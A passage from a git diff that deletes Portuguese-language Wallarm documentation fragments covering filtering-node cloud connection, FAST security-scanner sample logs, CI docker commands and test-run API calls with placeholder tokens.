quando solicitado. \ No newline at end of file diff --git a/include-pt-BR/connect-cloud-node-cloud-en-2.16.md b/include-pt-BR/connect-cloud-node-cloud-en-2.16.md deleted file mode 100644 index 5d4232258a..0000000000 --- a/include-pt-BR/connect-cloud-node-cloud-en-2.16.md +++ /dev/null @@ -1,94 +0,0 @@ -[img-wl-console-users]: ../images/check-users.png - -[link-wl-console-us]: https://us1.my.wallarm.com/ -[link-wl-console-eu]: https://my.wallarm.com/ -[link-wl-console-users-us]: https://us1.my.wallarm.com/settings/users -[link-wl-console-users-eu]: https://my.wallarm.com/settings/users - -[anchor-token]: #connecting-using-the-filtering-node-token -[anchor-credentials]: #connecting-using-your-email-and-password - -O nó de filtragem interage com a Wallarm Cloud. Existem duas maneiras de conectar o nó à nuvem: -* [Usando o token do nó de filtragem][anchor-token] -* [Usando seu email e senha da conta Wallarm][anchor-credentials] - -!!! info "Direitos de acesso necessários" - Certifique-se de que sua conta Wallarm tem a função **Administrador** ou **Deploy** habilitada e a autenticação de dois fatores desativada, permitindo assim que você conecte um nó de filtragem à nuvem. - - Você pode verificar os parâmetros acima navegando até a lista de contas de usuário no Console Wallarm. - - * Se você está usando , siga para o [link a seguir][link-wl-console-users-eu] para verificar suas configurações de usuário. - * Se você está usando , siga para o [link a seguir][link-wl-console-users-us] para verificar suas configurações de usuário. - ![Lista de usuários no console Wallarm][img-wl-console-users] - -#### Conectando usando o token do nó de filtragem - -Para conectar o nó à nuvem usando o token, prossiga com as seguintes etapas: - -1. Crie um novo nó na seção **Nós** do Console Wallarm. - 1. Clique no botão **Criar novo nó**. - 2. Crie o **Nó Wallarm**. -2. Copie o token do nó. -3. Na máquina virtual, execute o script `addcloudnode`: - - !!! info - Você precisa escolher qual script executar dependendo da nuvem que está usando. - - * Se você está usando , execute o script na aba **Nuvem US** abaixo. - * Se você está usando , execute o script na aba **Nuvem EU** abaixo. - - === "Nuvem US" - ``` bash - sudo /usr/share/wallarm-common/addcloudnode -H us1.api.wallarm.com - ``` - === "Nuvem EU" - ``` bash - sudo /usr/share/wallarm-common/addcloudnode - ``` - -4. Cole o token do nó de filtragem copiado anteriormente. - -Seu nó agora sincronizará com a nuvem a cada 2-4 minutos, de acordo com a configuração de sincronização padrão. - -!!! info "Configuração de sincronização do nó de filtragem e nuvem" - Após executar o script `addcloudnode`, o arquivo `/etc/wallarm/syncnode` contendo as configurações de sincronização do nó de filtragem e da nuvem será criado. As configurações de sincronização do nó de filtragem e da nuvem podem ser alteradas por meio do arquivo `/etc/wallarm/syncnode`. - - [Mais detalhes sobre a configuração de sincronização do nó de filtragem e Wallarm Cloud →](configure-cloud-node-synchronization-en.md#cloud-node-and-wallarm-cloud-synchronization) - -#### Conectando usando seu email e senha - -Para conectar o nó à Wallarm Cloud usando suas credenciais da conta, prossiga com as seguintes etapas: - -1. Na máquina virtual, execute o script `addnode`: - - !!! info - Você precisa escolher qual script executar dependendo da nuvem que está usando. - - * Se você está usando , execute o script na aba **Nuvem US** abaixo. - * Se você está usando , execute o script na aba **Nuvem EU** abaixo. - - === "Nuvem US" - ```bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "Nuvem EU" - ```bash - sudo /usr/share/wallarm-common/addnode - ``` - -2. Forneça seu email e senha da conta Wallarm quando solicitado. - -!!! info "Acesso à API" - A escolha da API para o seu nó de filtragem depende da nuvem que você está usando. Por favor, selecione a API de acordo: - - * Se você está usando , seu nó requer acesso a `https://api.wallarm.com:444`. - * Se você está usando , seu nó requer acesso a `https://us1.api.wallarm.com:444`. - - Certifique-se de que o acesso não está bloqueado por um firewall. - -Seu nó agora sincronizará com a nuvem a cada 2-4 minutos, de acordo com a configuração de sincronização padrão. - -!!! info "Configuração de sincronização do nó de filtragem e nuvem" - Após executar o script `addnode`, o arquivo `/etc/wallarm/node.yaml` contendo as configurações de sincronização do nó de filtragem e da nuvem e outras configurações necessárias para a operação correta do nó Wallarm será criado. As configurações de sincronização do nó de filtragem e da nuvem podem ser alteradas por meio do arquivo `/etc/wallarm/node.yaml` e variáveis de ambiente do sistema. - - [Mais detalhes sobre a configuração de sincronização do nó de filtragem e Wallarm Cloud →](configure-cloud-node-synchronization-en.md#regular-node-and-wallarm-cloud-synchronization) \ No newline at end of file diff --git a/include-pt-BR/elevated-priveleges.md b/include-pt-BR/elevated-priveleges.md deleted file mode 100644 index 022d7afe03..0000000000 --- a/include-pt-BR/elevated-priveleges.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! aviso "Pré-requisitos" - * Antes de tomar qualquer medida listada abaixo, [desative ou configure](../admin-en/configure-selinux.md) o SELinux se ele estiver instalado no sistema operacional. - * Certifique-se de executar todos os comandos abaixo como superusuário (por exemplo, `root`). \ No newline at end of file diff --git a/include-pt-BR/fast/cloud-note-readme.md b/include-pt-BR/fast/cloud-note-readme.md deleted file mode 100644 index beed4089be..0000000000 --- a/include-pt-BR/fast/cloud-note-readme.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! aviso "Uma nota sobre as nuvens Wallarm" - FAST interage com uma das nuvens Wallarm disponíveis. - - Todas as informações da documentação são igualmente aplicáveis a todas as nuvens, a menos que indicado de outra forma. - - Para simplificar, presume-se ao longo da documentação que FAST interage com a nuvem americana Wallarm. Se você precisa interagir com outra nuvem, use os [endereços correspondentes do portal Wallarm e do servidor API](cloud-list.md). \ No newline at end of file diff --git a/include-pt-BR/fast/cloud-note.md b/include-pt-BR/fast/cloud-note.md deleted file mode 100644 index 19b4ea79ca..0000000000 --- a/include-pt-BR/fast/cloud-note.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! advertência "Uma nota sobre as nuvens Wallarm" - O FAST interage com uma das nuvens Wallarm disponíveis. - - Todas as informações da documentação se aplicam igualmente a todas as nuvens, a menos que seja declarado o contrário. - - Por uma questão de simplicidade, presume-se ao longo da documentação que o FAST interage com a nuvem Wallarm americana. Se precisar interagir com outra nuvem, use os [endereços correspondentes do portal Wallarm e do servidor API](../cloud-list.md). \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/dsl/fast-node-recording.md b/include-pt-BR/fast/console-include/dsl/fast-node-recording.md deleted file mode 100644 index dd1de5a732..0000000000 --- a/include-pt-BR/fast/console-include/dsl/fast-node-recording.md +++ /dev/null @@ -1,7 +0,0 @@ -``` -[info] Nó conectado ao Wallarm Cloud -[info] Carregadas 2 extensões personalizadas para o scanner rápido -[info] Carregadas 30 extensões padrão para o scanner rápido -[info] Aguardando o TestRun para verificar... -[info] Gravando as linhas de base para TestRun#N 'DEMO TEST RUN' -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/dsl/fast-node-run-fail.md b/include-pt-BR/fast/console-include/dsl/fast-node-run-fail.md deleted file mode 100644 index afae2e036e..0000000000 --- a/include-pt-BR/fast/console-include/dsl/fast-node-run-fail.md +++ /dev/null @@ -1,5 +0,0 @@ -``` -[info] Nó conectado ao Wallarm Cloud -[error] Extensão personalizada inválida 'my-extension.yaml': (): chave esperada não encontrada ao analisar um mapeamento de blocos na linha 2 coluna 3 -[info] Carregadas 0 extensões personalizadas para o scanner rápido -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/dsl/fast-node-run-ok.md b/include-pt-BR/fast/console-include/dsl/fast-node-run-ok.md deleted file mode 100644 index f85b5c6153..0000000000 --- a/include-pt-BR/fast/console-include/dsl/fast-node-run-ok.md +++ /dev/null @@ -1,6 +0,0 @@ -``` -[info] Nó conectado ao Wallarm Cloud -[info] Carregou 1 extensões personalizadas para o scanner rápido -[info] Carregou 30 extensões padrão para o scanner rápido -[info] Aguardando para verificar o TestRun... -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/dsl/fast-node-working.md b/include-pt-BR/fast/console-include/dsl/fast-node-working.md deleted file mode 100644 index 8d04e0a3d5..0000000000 --- a/include-pt-BR/fast/console-include/dsl/fast-node-working.md +++ /dev/null @@ -1,19 +0,0 @@ -``` -[info] Aguardando TestRun para verificação... -[info] Gravando linhas de base para TestRun#N 'DEMO TEST RUN' -[info] Iniciou novo TestRun#N 'DEMO TEST RUN' -[info] Solicitação de proxy POST http://ojs.example.local/rest/user/login -[info] Executando um conjunto de testes para a linha de base #X -... -[info] Executando testes da extensão padrão 'rce-dotnet-jackson' para o parâmetro 'POST_value' -... -[info] Executando testes da extensão padrão 'spel-oob' para o parâmetro 'POST_JSON_DOC_HASH_email_value' -[info] Executando testes da extensão personalizada 'mod-extension' para o parâmetro 'POST_JSON_DOC_HASH_email_value' -[info] Vulnerabilidade SQLI encontrada no host ojs.example.local ... -... -[info] Executando testes da extensão padrão 'spel-oob' para o parâmetro 'URI_value' -Executando testes da extensão personalizada 'non-mod-extension' para o parâmetro 'URI_value' -[info] Vulnerabilidade SQLI encontrada no host ojs.example.local ... -... -[info] Encontradas 2 vulnerabilidades, marcando o conjunto de testes para a linha de base #X como falhou -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/operations/node-in-ci-mode-report.md b/include-pt-BR/fast/console-include/operations/node-in-ci-mode-report.md deleted file mode 100644 index 16d92598b5..0000000000 --- a/include-pt-BR/fast/console-include/operations/node-in-ci-mode-report.md +++ /dev/null @@ -1,22 +0,0 @@ -``` -Nova instância registrada 16dd487f-3d40-4834-xxxx-8ff17842d60b - -================================================================================ -============================ RESULTADOS DO TESTRUN ============================ -================================================================================ -Resultado do Teste de Exemplo (5080) - falhou -+------------------------------------------------------------------------------+ -| VERIFICAÇÕES BASE | -|------------------------------------------------------------------------------| -|APROVADO |0 | -|------------------------------------------------------------------------------| -|FALHOU |2 | -|------------------------------------------------------------------------------| -|PARADO |0 | -+------------------------------------------------------------------------------+ - -ENCONTRADO 4 VULNS: -+------------------------------------------------------------------------------+ -|AMEAÇA |MÉDIO | -... -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/poc/node-in-ci-mode-recording.md b/include-pt-BR/fast/console-include/poc/node-in-ci-mode-recording.md deleted file mode 100644 index 24cad01f20..0000000000 --- a/include-pt-BR/fast/console-include/poc/node-in-ci-mode-recording.md +++ /dev/null @@ -1,16 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - - Carregando... - [info] Nó conectado ao Wallarm Cloud - [info] Carregadas 0 extensões personalizadas para o scanner rápido - [info] Carregadas 44 extensões padrão para o scanner rápido - [info] TestRecord#rec_0001 TestRecord 01 out 01:01 UTC começou a gravar -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/poc/node-in-ci-mode-testing.md b/include-pt-BR/fast/console-include/poc/node-in-ci-mode-testing.md deleted file mode 100644 index 89898f2d71..0000000000 --- a/include-pt-BR/fast/console-include/poc/node-in-ci-mode-testing.md +++ /dev/null @@ -1,17 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -Carregando... -INFO synccloud[13]: Registrada nova instância 16dd487f-3d40-4834-xxxx-8ff17842d60b -INFO [1]: Carregadas 0 extensões personalizadas para scanner rápido -INFO [1]: Carregadas 44 extensões padrão para scanner rápido -INFO [1]: Use TestRecord#rec_0001 para criar TestRun -INFO [1]: TestRun#tr_1234 criado -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/qsg/fast-node-deployment-ok.md b/include-pt-BR/fast/console-include/qsg/fast-node-deployment-ok.md deleted file mode 100644 index 7f397bda68..0000000000 --- a/include-pt-BR/fast/console-include/qsg/fast-node-deployment-ok.md +++ /dev/null @@ -1,15 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -[info] Nó conectado ao Wallarm Cloud -[info] Carregadas 0 extensões personalizadas para scanner rápido -[info] Carregadas 51 extensões padrão para scanner rápido -[info] Aguardando TestRun para verificar... -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/qsg/fast-node-ready-for-recording.md b/include-pt-BR/fast/console-include/qsg/fast-node-ready-for-recording.md deleted file mode 100644 index f2e491e99a..0000000000 --- a/include-pt-BR/fast/console-include/qsg/fast-node-ready-for-recording.md +++ /dev/null @@ -1,7 +0,0 @@ -``` -[info] Nó conectado ao Wallarm Cloud -[info] Carregadas 0 extensões personalizadas para o scanner rápido -[info] Carregadas 51 extensões padrão para o scanner rápido -[info] Aguardando TestRun para verificar... -[info] Gravando linhas de base para TestRun#N 'DEMO TEST RUN' -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/qsg/fast-node-testing.md b/include-pt-BR/fast/console-include/qsg/fast-node-testing.md deleted file mode 100644 index a049306166..0000000000 --- a/include-pt-BR/fast/console-include/qsg/fast-node-testing.md +++ /dev/null @@ -1,9 +0,0 @@ -``` -[info] Nó conectado ao Wallarm Cloud -[info] Carregadas 0 extensões personalizadas para o scanner rápido -[info] Carregadas 51 extensões padrão para o scanner rápido -[info] Aguardando para verificar o TestRun... -[info] Registrando as linhas de base para TestRun#N 'DEMO TEST RUN' -[info] Solicitação de Proxy GET https://google-gruyere.appspot.com/430232491618310677730226710602783767322/snippets.gtl?password=paSSw0rd&uid=123 -[info] Executando um conjunto de testes para a linha de base #X -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/tshoot/access-denied.md b/include-pt-BR/fast/console-include/tshoot/access-denied.md deleted file mode 100644 index ad3b0c3804..0000000000 --- a/include-pt-BR/fast/console-include/tshoot/access-denied.md +++ /dev/null @@ -1,4 +0,0 @@ -``` -Carregando... -[erro] Não é possível criar nova instância - acesso negado -``` \ No newline at end of file diff --git a/include-pt-BR/fast/console-include/tshoot/request-timeout.md b/include-pt-BR/fast/console-include/tshoot/request-timeout.md deleted file mode 100644 index 8a913bb74f..0000000000 --- a/include-pt-BR/fast/console-include/tshoot/request-timeout.md +++ /dev/null @@ -1,4 +0,0 @@ -``` -Carregando... -[erro] Não é possível criar uma nova instância - Solicitação Expirou -``` \ No newline at end of file diff --git a/include-pt-BR/fast/fast-cimode-integration-examples/configured-workflow.md b/include-pt-BR/fast/fast-cimode-integration-examples/configured-workflow.md deleted file mode 100644 index 15694f120b..0000000000 --- a/include-pt-BR/fast/fast-cimode-integration-examples/configured-workflow.md +++ /dev/null @@ -1,5 +0,0 @@ -!!! info "Workflow configurado" - As instruções a seguir exigem um workflow já configurado que corresponda a um dos seguintes pontos: - - * A automação de teste está implementada. Nesse caso, as etapas de [gravação de solicitação](#adding-the-step-of-request-recording) e [teste de segurança](#adding-the-step-of-security-testing) serão adicionadas. - * O conjunto de solicitações de linha de base já está gravado. Nesse caso, a etapa de [teste de segurança](#adding-the-step-of-security-testing) será adicionada. \ No newline at end of file diff --git a/include-pt-BR/fast/fast-cimode-integration-examples/request-recording-setup.md b/include-pt-BR/fast/fast-cimode-integration-examples/request-recording-setup.md deleted file mode 100644 index 0a6459d77e..0000000000 --- a/include-pt-BR/fast/fast-cimode-integration-examples/request-recording-setup.md +++ /dev/null @@ -1,15 +0,0 @@ -Para implementar o registro de solicitações, aplique as seguintes configurações à etapa de teste automatizado da aplicação: - -1. Adicione o comando para executar o contêiner FAST Docker no modo `CI_MODE=recording` com outras [variáveis](../ci-mode-recording.md#environment-variables-in-recording-mode) necessárias __antes__ do comando que executa os testes automatizados. Por exemplo: - - ``` - docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=app-test -p 8080:8080 --network my-network --rm wallarm/fast - ``` -2. Configure o proxy dos testes automatizados via nó FAST. Por exemplo: - - ``` - docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - ``` - -!!! Aviso "Rede Docker" - Antes de registrar solicitações, certifique-se de que o nó FAST e a ferramenta para testes automatizados estejam rodando na mesma rede. \ No newline at end of file diff --git a/include-pt-BR/fast/fast-cimode-integration-examples/security-testing-setup.md b/include-pt-BR/fast/fast-cimode-integration-examples/security-testing-setup.md deleted file mode 100644 index 32fb5c52cb..0000000000 --- a/include-pt-BR/fast/fast-cimode-integration-examples/security-testing-setup.md +++ /dev/null @@ -1,16 +0,0 @@ -Para implementar o teste de segurança, adicione a etapa separada correspondente ao seu fluxo de trabalho seguindo estas instruções: - -1. Se o aplicativo de teste não estiver em execução, adicione o comando para executar o aplicativo. -2. Adicione o comando que executa o contêiner FAST Docker no modo `CI_MODE=testing` com outras [variáveis](../ci-mode-testing.md#environment-variables-in-testing-mode) necessárias __após__ o comando de execução do aplicativo. - - !!! info "Usando o conjunto gravado de solicitações de linha de base" - Se o conjunto de solicitações de linha de base foi gravado em outro pipeline, especifique o ID do registro na variável [TEST_RECORD_ID][fast-ci-mode-test]. Caso contrário, o último conjunto gravado será usado. - - Exemplo do comando: - - ``` - docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://app-test:3000 --network my-network --rm wallarm/fast - ``` - -!!! warning "Rede Docker" - Antes do teste de segurança, certifique-se de que o nó FAST e o aplicativo de teste estão sendo executados na mesma rede. \ No newline at end of file diff --git a/include-pt-BR/fast/operations/api-check-testrun-status.md b/include-pt-BR/fast/operations/api-check-testrun-status.md deleted file mode 100644 index 9839d9b1d1..0000000000 --- a/include-pt-BR/fast/operations/api-check-testrun-status.md +++ /dev/null @@ -1,55 +0,0 @@ -| Chamada API: | `GET /v1/test_run/test_run_id` | | -| ------------- | ------------------------------------------ | ---- | -| Autorização: | Requerido | Com o token | -| Cabeçalho HTTP com o token: | `X-WallarmAPI-Token` | Serve para passar o valor do token para o servidor API | -| Parâmetros: | `test_run_id` **(obrigatório)** | O identificador da execução de teste cujo estado se pretende obter | - - -**Exemplo de um pedido:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234 \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**Exemplo de uma resposta:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - "vulns": [ - { - "id": vuln_0001, - "threat": 80, - "code": "S0001", - "type": "sqli" - } - ], - "clientid": demo_0000, - "state": "failed", - "simple_state": "failed", - "allowed_actions": [], - "baseline_check_all_terminated_count": 1, - "baseline_check_fail_count": 1, - "baseline_check_tech_fail_count": 0, - "baseline_check_passed_count": 0, - "baseline_check_running_count": 0, - "baseline_check_interrupted_count": 0, - "sended_requests_count": 70, - ... - "start_time": 1555572038, - "end_time": 1555572309, - ... - "domains": [ - "app.example.local" - ], - "baseline_count": 1, - ... - "baseline_check_waiting_count": 0, - "planing_requests_count": 70 - } -} -``` \ No newline at end of file diff --git a/include-pt-BR/fast/operations/api-copy-testrun.md b/include-pt-BR/fast/operations/api-copy-testrun.md deleted file mode 100644 index b13b0d7b0d..0000000000 --- a/include-pt-BR/fast/operations/api-copy-testrun.md +++ /dev/null @@ -1,62 +0,0 @@ -[doc-inactivity-timeout]: internals.md#test-run - -| Chamada da API: | `POST /v1/test_run` | | -| ------------ | ------------------- | ---- | -| Autorização: | Obrigatório | A autorização é fornecida pelo token | -| Cabeçalho HTTP com o token: | `X-WallarmAPI-Token` | Serve para passar o valor do token para o servidor da API | -| Parâmetros: | `name` **(requerido)** | O nome do teste a ser executado | -| | `test_record_id` **(requerido)** | O identificador de um registro de teste existente | -| | `desc` | Descrição detalhada do teste a ser executado.
              Valor padrão: string vazia | -| | `file_extensions_to_exclude` | Este parâmetro permite especificar certos tipos de arquivos que devem ser excluídos do processo de avaliação durante o teste. Esses tipos de arquivo são especificados pela expressão regular.
              Por exemplo, se você definir a extensão de arquivo `ico` para ser excluída, a solicitação básica `GET /favicon.ico` não será verificada pelo FAST e será ignorada.
              A expressão regular tem o seguinte formato:
              - `.`: qualquer número (zero ou mais) de qualquer caractere
              - `x*`: qualquer número (zero ou mais) do caractere `x`
              - `x?`: o único caractere `x` (ou nenhum)
              - qualquer única extensão de arquivo (por exemplo, `jpg`)
              - várias extensões delimitadas pela barra vertical (por exemplo, `jpg` | `png`)
              Valor padrão: string vazia (o FAST verificará solicitações básicas com qualquer extensão de arquivo). | -| | `policy_id` | O identificador da política de teste.
              Se este parâmetro estiver ausente, então a política padrão entra em ação | -| | `stop_on_first_fail` | Este parâmetro especifica o comportamento do FAST quando uma vulnerabilidade é detectada:
              `true`: interrompe a execução do teste na primeira vulnerabilidade detectada.
              `false`: processa todas as solicitações básicas, independentemente de qualquer vulnerabilidade ser detectada.
              Valor padrão: `false` | -| | `rps_per_baseline` | Este parâmetro especifica um limite no número de solicitações de teste (*RPS*, *requests per second*) a serem enviadas para o aplicativo alvo (por exemplo, pode haver 100 solicitações de teste derivadas de uma única solicitação básica).
              O limite é definido por solicitação básica (não mais do que `N` solicitações de teste por segundo serão enviadas para uma solicitação básica individual) no teste.
              Valor mínimo: `1`.
              Valor máximo: `500`.
              Valor padrão: `null` (RPS é ilimitado) | -| | `rps` | Este parâmetro é semelhante ao descrito acima, exceto que limita o RPS globalmente por teste, não apenas para uma única solicitação básica.
              Em outras palavras, o número total de solicitações de teste por segundo não deve exceder o valor especificado, independentemente de quantas solicitações básicas foram registradas durante o teste.
              Valor mínimo: `1`.
              Valor máximo: `1000`.
              Valor padrão: `null` (RPS é ilimitado) | - -**Exemplo de uma requisição:** - -``` -curl --request POST \ - --url https://us1.api.wallarm.com/v1/test_run \ - --header 'Content-Type: application/json' \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' \ - --data '{ - "name":"demo-testrun", - "test_record_id":"rec_0001" -}' -``` - -**Exemplo de uma resposta: a cópia do teste está em andamento** - -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "state": "cloning", - ... - "test_record_id": "rec_0001", - ... -} -``` - -O estado `cloning` significa que as solicitações básicas estão sendo clonadas do teste original para a sua cópia (teste com o identificador `tr_1234`). - -**Exemplo de uma resposta: a cópia do teste falhou** - -``` -{ - "status": 400, - "body": { - "test_record_id": { - "error": "not_ready_for_cloning", - "value": "rec_0001" - } - } -} -``` - -O erro `not_ready_for_cloning` significa que não é possível clonar as solicitações básicas do teste original para a sua cópia porque o processo de gravação está ativo no teste original (envolvendo o registro de teste com o identificador `rec_0001`). \ No newline at end of file diff --git a/include-pt-BR/fast/operations/api-create-testrun.md b/include-pt-BR/fast/operations/api-create-testrun.md deleted file mode 100644 index 20bc71a75f..0000000000 --- a/include-pt-BR/fast/operations/api-create-testrun.md +++ /dev/null @@ -1,41 +0,0 @@ -| Chamada de API: | `POST /v1/test_run` | | -| ------------ | ------------------- | ---- | -| Autorização: | Requerida | Com o token | -| Cabeçalho HTTP com o token: | `X-WallarmAPI-Token` | Serve para transmitir o valor do token para o servidor API | -| Parâmetros: | `name` **(requerido)** | Nome da execução do teste | -| | `test_record_name` | O nome do registro do teste. Todas as solicitações base serão colocadas neste registro de teste.
              Valor padrão: o nome da execução do teste. | -| | `desc` | Descrição detalhada da execução do teste.
              Valor padrão: string vazia. | -| | `file_extensions_to_exclude` | Este parâmetro permite especificar certos tipos de arquivos que precisam ser excluídos do processo de avaliação durante os testes. Esses tipos de arquivos são especificados pela expressão regular.
              Por exemplo, se você definir a extensão do arquivo `ico` para ser excluído, então a solicitação base `GET /favicon.ico` não será verificada pelo FAST e será ignorada.
              A expressão regular tem o seguinte formato:
              - `.`: qualquer número (zero ou mais) de qualquer caracter
              - `x*`: qualquer número (zero ou mais) do caractere `x`
              - `x?`: o caractere `x` único (ou nenhum)
              - qualquer extensão de arquivo única (por exemplo, `jpg`)
              - várias extensões delimitadas pela barra vertical (por exemplo, `jpg` | `png`)
              Valor padrão: string vazia (o FAST verificará solicitações de base com qualquer extensão de arquivo). | -| | `policy_id` | O identificador da política de teste.
              Se o parâmetro estiver ausente, então a política padrão entra em ação | -| | `stop_on_first_fail` | O parâmetro especifica o comportamento do FAST quando uma vulnerabilidade é detectada:
              `true`: interrompe a execução da execução do teste na primeira vulnerabilidade detectada.
              `false`: processa todas as solicitações base, independentemente de qualquer vulnerabilidade ser detectada ou não.
              Valor padrão: `false` | -| | `skip_duplicated_baselines` | Este parâmetro especifica o comportamento do FAST quando uma solicitação base duplicada é encontrada:
              `true`: ignore as solicitações base duplicadas (se houver algumas solicitações base idênticas, então os pedidos de teste são gerados apenas para o primeiro pedido base).
              `false`: os pedidos de teste são gerados para cada pedido de base recebido.
              Valor padrão: `true` | -| | `rps_per_baseline` | Este parâmetro especifica um limite ao número de solicitações de teste (*RPS*, *requests per second*) que serão enviadas para a aplicação alvo (por exemplo: podem haver 100 pedidos de teste derivados de uma única solicitação base).
              O limite é definido por solicitação base (não mais que `N` solicitações de teste por segundo serão enviadas para uma solicitação base individual) na execução do teste.
              Valor mínimo: `1`.
              Valor máximo: `500`.
              Valor padrão: `null` (RPS é ilimitado) | -| | `rps` | Este parâmetro é semelhante ao descrito acima, exceto que limita o RPS globalmente, por execução de teste, não apenas uma única solicitação base.
              Em outras palavras, o número total de solicitações de teste por segundo não deve exceder o valor especificado, não importa quantas solicitações base foram registradas durante a execução do teste.
              Valor mínimo: `1`.
              Valor máximo: `1000`.
              Valor padrão: `null` (RPS é ilimitado) | -| | `inactivity_timeout` | Este parâmetro especifica o intervalo de tempo em segundos durante o qual o nó FAST espera pela chegada de uma nova solicitação base.
              Este comportamento é descrito [aqui][doc-inactivity-timeout] em detalhes.
              O tempo limite não tem influência nos processos de criação e execução de testes de segurança para solicitações base que foram registradas.
              Valor mínimo: `300` (300 segundos ou 5 minutos).
              Valor máximo: `86400` (86400 segundos ou 1 dia).
              Valor padrão: `1800` (1800 segundos ou 30 minutos) | - -** Exemplo de uma solicitação: ** - -``` -curl --request POST \ - --url https://us1.api.wallarm.com/v1/test_run \ - --header 'Content-Type: application/json' \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' \ - --data '{ - "name":"demo-testrun" -}' -``` - -**Exemplo de uma resposta:** - -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "state": "running", - ... -} -``` \ No newline at end of file diff --git a/include-pt-BR/fast/operations/api-stop-recording.md b/include-pt-BR/fast/operations/api-stop-recording.md deleted file mode 100644 index 81d179615b..0000000000 --- a/include-pt-BR/fast/operations/api-stop-recording.md +++ /dev/null @@ -1,26 +0,0 @@ -| Chamada de API: | `POST /v1/test_run/test_run_id/action/stop` | | -| ------------- | ------------------------------------------ | ---- | -| Autorização: | Requerido | Com o token | -| Cabeçalho HTTP com o token: | `X-WallarmAPI-Token` | Serve para passar o valor do token para o servidor API | -| Parâmetros: | `test_run_id` **(obrigatório)** | O identificador do teste para parar de gravar as solicitações de linha de base | - -**Exemplo de um pedido:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234/action/stop \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**Exemplo de uma resposta:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - ... - "recording": false, - ... - } -} -``` \ No newline at end of file diff --git a/include-pt-BR/fast/operations/env-vars-allowed-hosts.md b/include-pt-BR/fast/operations/env-vars-allowed-hosts.md deleted file mode 100644 index cfa705de99..0000000000 --- a/include-pt-BR/fast/operations/env-vars-allowed-hosts.md +++ /dev/null @@ -1,12 +0,0 @@ -[link-allowed-hosts]: http://nginx.org/en/docs/http/server_names.html - -!!! info "Valores válidos para a variável `ALLOWED_HOSTS`" - A variável `ALLOWED_HOSTS` aceita os seguintes formatos de host: - - * nomes totalmente qualificados (por exemplo, `node.example.local`) - * um valor iniciado com um ponto (por exemplo, `.example.local`) que é reconhecido como um wildcard de subdomínio - * um valor de `*` que corresponde a qualquer coisa (neste caso, todas as requisições são registradas pelo nó FAST) - * o conjunto de vários valores, por exemplo: `"(node.example.local|example.com)"` - * expressão regular na [sintaxe suportada pelo NGINX](http://nginx.org/en/docs/http/server_names.html#regex_names) - - Para mais informações sobre os valores da variável `ALLOWED_HOSTS`, prossiga para este [link][link-allowed-hosts]. diff --git a/include-pt-BR/fast/poc/api-check-testrun-status-recording.md b/include-pt-BR/fast/poc/api-check-testrun-status-recording.md deleted file mode 100644 index c8bc447d6a..0000000000 --- a/include-pt-BR/fast/poc/api-check-testrun-status-recording.md +++ /dev/null @@ -1,28 +0,0 @@ -| Chamada API: | `GET /v1/test_run/test_run_id` | | -| ------------- | ------------------------------------------ | ---- | -| Autorização: | Obrigatório | A autorização é fornecida pelo token | -| Cabeçalho HTTP com o token: | `X-WallarmAPI-Token` | Serve para passar o valor do token para o servidor API | -| Parâmetros: | `test_run_id` **(obrigatório)** | O identificador da execução de teste cujo estado deve ser obtido | - - -**Exemplo de um pedido:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234 \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**Exemplo de uma resposta:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - 